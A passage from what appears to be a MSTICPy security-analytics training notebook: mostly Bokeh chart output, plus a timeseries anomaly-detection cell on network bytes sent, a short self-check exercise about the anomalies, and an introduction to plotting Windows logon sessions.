in_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2746\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2748\",\"type\":\"DaysTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2747\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"2712\"},\"x_range\":{\"id\":\"2567\"},\"y_range\":null},\"id\":\"2711\",\"type\":\"RangeTool\"},{\"attributes\":{\"click_policy\":\"hide\",\"coordinates\":null,\"group\":null,\"items\":[{\"id\":\"2627\"},{\"id\":\"2654\"},{\"id\":\"2684\"}],\"location\":\"top_left\"},\"id\":\"2626\",\"type\":\"Legend\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2752\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2753\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"label\":{\"value\":\"observed\"},\"renderers\":[{\"id\":\"2604\"}]},\"id\":\"2627\",\"type\":\"LegendItem\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2751\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"2755\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"TimeGenerated\",\"@TimeGenerated{%F %T.%3N}\"],[\"TotalBytesSent\",\"@TotalBytesSent\"],[\"residual\",\"@residual\"],[\"trend\",\"@trend\"],[\"seasonal\",\"@seasonal\"],[\"weights\",\"@weights\"],[\"baseline\",\"@baseline\"],[\"score\",\"@score\"]]},\"id\":\"2563\",\"type\":\"HoverTool\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2750\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"blue\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"blue\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"blue\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"score\"}},\"id\":\"2708\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"2756\",\"type\":\"YearsTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2704\"},\"glyph\":{\"id\":\"2706\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2708\"},\"nonselection_glyph\":{\"id\":\"2707\"},\"view\":{\"id\":\"2710\"}},\"id\":\"2709\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"source\":{\"id\":\"2704\"}},\"id\":\"2710\",\"type\":\"CDSView\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2754\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"tools\":[{\"id\":\"2563\"},{\"id\":\"2583\"},{\"id\":\"2584\"},{\"id\":\"2585\"},{\"id\":\"2586\"},{\"id\":\"2587\"}]},\"id\":\"2589\",\"type\":\"Toolbar\"}],\"root_ids\":[\"2716\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n  const render_items = [{\"docid\":\"05d3d9ea-d533-4985-b816-ac81689bd8cb\",\"root_ids\":[\"2716\"],\"roots\":{\"2716\":\"c88d15e0-0f86-4560-ad56-4e837593a1ba\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    let attempts = 0;\n    const timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "2716"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"display: table;\"><div style=\"display: table-row;\"><div style=\"display: table-cell;\"><b title=\"bokeh.models.layouts.Column\">Column</b>(</div><div style=\"display: table-cell;\">id&nbsp;=&nbsp;'2957', <span id=\"2959\" style=\"cursor: pointer;\">&hellip;)</span></div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">align&nbsp;=&nbsp;'start',</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_ratio&nbsp;=&nbsp;None,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background&nbsp;=&nbsp;None,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">children&nbsp;=&nbsp;[Figure(id='2564', ...), Figure(id='2685', ...)],</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">css_classes&nbsp;=&nbsp;[],</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">disabled&nbsp;=&nbsp;False,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height&nbsp;=&nbsp;None,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_event_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_property_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">margin&nbsp;=&nbsp;(0, 0, 0, 0),</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_height&nbsp;=&nbsp;None,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_width&nbsp;=&nbsp;None,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_height&nbsp;=&nbsp;None,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_width&nbsp;=&nbsp;None,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">name&nbsp;=&nbsp;None,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">rows&nbsp;=&nbsp;'auto',</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">sizing_mode&nbsp;=&nbsp;None,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">spacing&nbsp;=&nbsp;0,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">subscribed_events&nbsp;=&nbsp;[],</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">syncable&nbsp;=&nbsp;True,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">tags&nbsp;=&nbsp;[],</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">visible&nbsp;=&nbsp;True,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width&nbsp;=&nbsp;None,</div></div><div class=\"2958\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width_policy&nbsp;=&nbsp;'auto')</div></div></div>\n",
       "<script>\n",
       "(function() {\n",
       "  let expanded = false;\n",
       "  const ellipsis = document.getElementById(\"2959\");\n",
       "  ellipsis.addEventListener(\"click\", function() {\n",
       "    const rows = document.getElementsByClassName(\"2958\");\n",
       "    for (let i = 0; i < rows.length; i++) {\n",
       "      const el = rows[i];\n",
       "      el.style.display = expanded ? \"none\" : \"table-row\";\n",
       "    }\n",
       "    ellipsis.innerHTML = expanded ? \"&hellip;)\" : \"&lsaquo;&lsaquo;&lsaquo;\";\n",
       "    expanded = !expanded;\n",
       "  });\n",
       "})();\n",
       "</script>\n"
      ],
      "text/plain": [
       "Column(id='2957', ...)"
      ]
     },
     "execution_count": 35,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Import MSTICPy's timeseries specfic features\n",
    "from msticpy.analysis.timeseries import timeseries_anomalies_stl\n",
    "from msticpy.nbtools.timeseries import display_timeseries_anomolies\n",
    "\n",
    "# Load some network data to apply our analysis to\n",
    "stldemo = qry_prov.Network.get_network_summary()\n",
    "\n",
    "# Conduct our timeseries analyis\n",
    "output = timeseries_anomalies_stl(stldemo)\n",
    "# Visualize the timeseries and any anomalies\n",
    "display_timeseries_anomolies(data=output, y=\"TotalBytesSent\")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<div class=\"alert alert-block alert-success\">\n",
    "\n",
    "<h3>Lab Exercise 7</h3>\n",
    "Using the timeline above answer the following questions:\n",
    "\n",
    "<details>\n",
    "    <summary>Hint:</summary>\n",
    "    <ul>\n",
    "        <li>Hover over points on the timeline to see additional information</li>\n",
    "    </ul>\n",
    "</details>\n",
    "</div>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 36,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold'>On what date did the two network data anomolies occur?</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "c519f3aa34424ea2a30e6a68b6e79bd6",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "DatePicker(value=None, description='Pick a Date')"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold'>How many bytes were sent on at 2020-07-06 19:00?</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "44e49a2a61cc45ee9e3317bce994c6c2",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "Text(value='', description='Answer:')"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "import ipywidgets as widgets\n",
    "\n",
    "md(\"On what date did the two network data anomolies occur?\", \"bold\")\n",
    "date = widgets.DatePicker(description=\"Pick a Date\", disabled=False)\n",
    "display(date)\n",
    "\n",
    "md(\"How many bytes were sent on at 2020-07-06 19:00?\", \"bold\")\n",
    "bytesa = widgets.Text(description=\"Answer:\", disabled=False)\n",
    "display(bytesa)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 37,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style=''>One of your answers is incorrect please try again</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "if str(date.value) == answers[\"question1\"] and bytesa.value == answers[\"question2\"]:\n",
    "    md(\n",
    "        f\"Correct, the anomolies occured on {date.value} and {bytesa.value} bytes were transfered at 2020-07-06 19:00\"\n",
    "    )\n",
    "else:\n",
    "    md(\"One of your answers is incorrect please try again\")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Logon Sessions\n",
    "Logon events are key to understanding any host based activity. We have previously used MSTICpy's [timeline feature](https://msticpy.readthedocs.io/en/latest/visualization/EventTimeline.html) to display value based data from our timeseries analayis. However, we can also use it to display multiple types of discrete data on the same timeline. This is particularly useful for Windows logon events where we plot different logon types (interactive, network, etc.) in different horizontal series.<br>\n",
    "We can split the plot by simply providing it a column to split on, with the parameter `group_by`."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 38,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"2960\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  const force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  const JS_MIME_TYPE = 'application/javascript';\n  const HTML_MIME_TYPE = 'text/html';\n  const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  const CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    const script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    const cell = handle.cell;\n\n    const id = cell.output_area._bokeh_element_id;\n    const server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd_clean, {\n        iopub: {\n          output: function(msg) {\n            const id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd_destroy);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    const output_area = handle.output_area;\n    const output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n      return\n    }\n\n    const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      const bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      const script_attrs = bk_div.children[0].attributes;\n      for (let i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      const toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    const events = require('base/js/events');\n    const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  const NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    const el = document.getElementById(\"2960\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error(url) {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (let i = 0; i < css_urls.length; i++) {\n      const url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    for (let i = 0; i < js_urls.length; i++) {\n      const url = js_urls[i];\n      const element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.async = false;\n      element.src = url;\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n  const css_urls = [];\n  \n\n  const inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (let i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      const cell = $(document.getElementById(\"2960\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"d2bd0754-db77-4eb3-b666-c1a2dafebbe7\" data-root-id=\"3105\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  const docs_json = {\"32fb84bd-d296-4a29-80fa-d7891b8f15cd\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"2968\"},{\"id\":\"3000\"}]},\"id\":\"3105\",\"type\":\"Column\"},{\"attributes\":{},\"id\":\"2975\",\"type\":\"LinearScale\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#208F8C\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3086\",\"type\":\"Scatter\"},{\"attributes\":{\"overlay\":{\"id\":\"3056\"},\"x_range\":{\"id\":\"2971\"},\"y_range\":null},\"id\":\"3055\",\"type\":\"RangeTool\"},{\"attributes\":{\"below\":[{\"id\":\"2979\"}],\"center\":[{\"id\":\"2982\"},{\"id\":\"2986\"}],\"height\":200,\"left\":[{\"id\":\"2983\"},{\"id\":\"3104\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"3066\"},{\"id\":\"3073\"},{\"id\":\"3080\"},{\"id\":\"3087\"},{\"id\":\"3094\"},{\"id\":\"3101\"}],\"title\":{\"id\":\"2969\"},\"toolbar\":{\"id\":\"2993\"},\"width\":900,\"x_range\":{\"id\":\"2971\"},\"x_scale\":{\"id\":\"2975\"},\"y_range\":{\"id\":\"2973\"},\"y_scale\":{\"id\":\"2977\"}},\"id\":\"2968\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2964\"},\"glyph\":{\"id\":\"3084\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"3086\"},\"nonselection_glyph\":{\"id\":\"3085\"},\"view\":{\"id\":\"3088\"}},\"id\":\"3087\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"source\":{\"id\":\"2962\"}},\"id\":\"3030\",\"type\":\"CDSView\"},{\"attributes\":{\"source\":{\"id\":\"2964\"}},\"id\":\"3088\",\"type\":\"CDSView\"},{\"attributes\":{\"source\":{\"id\":\"2963\"}},\"id\":\"3036\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#35B778\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3091\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3034\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#35B778\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3092\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"2989\",\"type\":\"ResetTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3021\",\"type\":\"Circle\"},{\"attributes\":{\"label\":{\"value\":\"4\"},\"renderers\":[{\"id\":\"3087\"}]},\"id\":\"3089\",\"type\":\"LegendItem\"},{\"attributes\":{},\"id\":\"3119\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"3128\"},{\"id\":\"3129\"},{\"id\":\"3130\"},{\"id\":\"3131\"},{\"id\":\"3132\"},{\"id\":\"3133\"},{\"id\":\"3134\"},{\"id\":\"3135\"},{\"id\":\"3136\"},{\"id\":\"3137\"},{\"id\":\"3138\"},{\"id\":\"3139\"}]},\"id\":\"2980\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#35B778\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3093\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"3120\",\"type\":\"Selection\"},{\"attributes\":{\"label\":{\"value\":\"5\"},\"renderers\":[{\"id\":\"3094\"}]},\"id\":\"3096\",\"type\":\"LegendItem\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#443982\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#443982\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#443982\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3028\",\"type\":\"Circle\"},{\"attributes\":{\"end\":1550283090334.7,\"start\":1549663977482.2998},\"id\":\"2971\",\"type\":\"Range1d\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2965\"},\"glyph\":{\"id\":\"3091\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"3093\"},\"nonselection_glyph\":{\"id\":\"3092\"},\"view\":{\"id\":\"3095\"}},\"id\":\"3094\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"align\":\"right\",\"coordinates\":null,\"group\":null,\"text\":\"Drag the middle or edges of the selection box to change the range in the main 